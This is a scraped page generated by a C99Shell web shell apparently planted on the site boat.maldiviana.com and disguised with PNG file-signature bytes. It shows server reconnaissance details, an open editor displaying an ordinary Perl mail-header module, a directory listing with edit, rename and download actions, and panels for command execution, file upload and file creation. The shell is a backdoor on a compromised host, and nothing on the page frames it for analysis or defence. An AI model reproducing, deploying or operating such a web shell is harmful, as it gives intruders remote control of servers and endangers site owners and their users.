boat.maldiviana.com

\x89\x50\x4E\x47\x0D\x0A\x1A\x0A PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A boat.maldiviana.com - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux boa1684427.nichost.ru 6.6.144-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 8 17:12:46 MSK 2026 x86_64 User: boa1684427 Software: Apache/2.4.68 (Linux) PHP/7.4.33 IP: 127.0.0.1 PHP: 7.4.33 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/perl5/vendor_perl/Mail/Message/Field/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux boa1684427.nichost.ru 6.6.144-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 8 17:12:46 MSK 2026 x86_64

User: boa1684427

Software: Apache/2.4.68 (Linux) PHP/7.4.33

IP: 127.0.0.1

PHP: 7.4.33

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/share/perl5/vendor_perl/Mail/Message/Field/

Edit File: Structured.pm

# Copyrights 2001-2019 by [Mark Overmeer <markov@cpan.org>].
#  For other contributors see ChangeLog.
# See the manual pages for details on the licensing terms.
# Pod stripped from pm file by OODoc 2.02.
# This code is part of distribution Mail-Message.  Meta-POD processed with
# OODoc into POD and HTML manual-pages.  See README.md
# Copyright Mark Overmeer.  Licensed under the same terms as Perl itself.

package Mail::Message::Field::Structured;
use vars '$VERSION';
$VERSION = '3.008';

use base 'Mail::Message::Field::Full';

use strict;
use warnings;

use Mail::Message::Field::Attribute;
use Storable 'dclone';

sub init($)
{   my ($self, $args) = @_;
    $self->{MMFS_attrs} = {};
    $self->{MMFS_datum} = $args->{datum};

$self->SUPER::init($args);

my $attr = $args->{attributes} || [];
    $attr    = [ %$attr ] if ref $attr eq 'HASH';

while(@$attr)
    {   my $name = shift @$attr;
        if(ref $name) { $self->attribute($name) }
        else          { $self->attribute($name, shift @$attr) }
    }

$self;
}

sub clone() { dclone(shift) }

#------------------------------------------

sub attribute($;$)
{   my ($self, $attr) = (shift, shift);
    my $name;
    if(ref $attr) { $name = $attr->name }
    elsif( !@_ )  { return $self->{MMFS_attrs}{lc $attr} }
    else
    {   $name = $attr;
        $attr = Mail::Message::Field::Attribute->new($name, @_);
    }

delete $self->{MMFF_body};
    $self->{MMFS_attrs}{$name} = $attr;
}

sub attributes() { values %{shift->{MMFS_attrs}} }
sub beautify() { delete shift->{MMFF_body} }

sub attrPairs() { map +($_->name, $_->value), shift->attributes }

#-------------------------

sub parse($)
{   my ($self, $string) = @_;

# remove FWS, even within quoted strings
    $string =~ s/\r?\n\s?/ /gs;
	$string =~ s/ +$//;

my $datum = '';
    while(length $string && substr($string, 0, 1) ne ';')
    {   (undef, $string)  = $self->consumeComment($string);
        $datum .= $1 if $string =~ s/^([^;(]+)//;
    }
    $self->{MMFS_datum} = $datum;

my $found = '';
    while($string =~ m/\S/)
    {   my $len = length $string;

if($string =~ s/^\s*\;\s*// && length $found)
        {   my ($name) = $found =~ m/^([^*]+)\*/;
            if($name && (my $cont = $self->attribute($name)))
            {   $cont->addComponent($found);   # continuation
            }
            else
            {   my $attr = Mail::Message::Field::Attribute->new($found);
                $self->attribute($attr);
            }
            $found = '';
        }

(undef, $string) = $self->consumeComment($string);
        $string =~ s/^\n//;
        (my $text, $string) = $self->consumePhrase($string);
        $found .= $text if defined $text;

if(length($string) == $len)
        {   # nothing consumed, remove character to avoid endless loop
            $string =~ s/^\s*\S//;
        }
    }

if(length $found)
    {   my ($name) = $found =~ m/^([^*]+)\*/;
        if($name && (my $cont = $self->attribute($name)))
        {   $cont->addComponent($found); # continuation
        }
        else
        {   my $attr = Mail::Message::Field::Attribute->new($found);
            $self->attribute($attr);
        }
    }

1;
}

sub produceBody()
{   my $self  = shift;
    my $attrs = $self->{MMFS_attrs};
    my $datum = $self->{MMFS_datum};

join '; '
       , (defined $datum ? $datum : '')
       , map {$_->string} @{$attrs}{sort keys %$attrs};
}

sub datum(@)
{   my $self = shift;
    @_ or return $self->{MMFS_datum};
    delete $self->{MMFF_body};
    $self->{MMFS_datum} = shift;
}

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
AddrGroup.pm	1.68 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
AddrGroup.pod	7.62 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Address.pm	2.07 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Address.pod	6.72 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Addresses.pm	5.72 KB	11.02.2019 14:31:03	65534/65534	-rw-r--r--	Edit Rename Download
Addresses.pod	14.97 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Attribute.pm	5.25 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Attribute.pod	8.39 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
AuthResults.pm	5.3 KB	11.02.2019 14:31:03	65534/65534	-rw-r--r--	Edit Rename Download
AuthResults.pod	13.46 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
DKIM.pm	2.02 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
DKIM.pod	14.28 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Date.pm	2.73 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Date.pod	12.5 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Fast.pm	2.03 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Fast.pod	10.85 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Flex.pm	2.59 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Flex.pod	9.61 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Full.pm	10.53 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Full.pod	19.77 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Structured.pm	3.52 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Structured.pod	15.04 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
URIs.pm	1.73 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
URIs.pod	13.24 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Unstructured.pm	1018 B	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Unstructured.pod	12.47 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1784985949.4156 ]--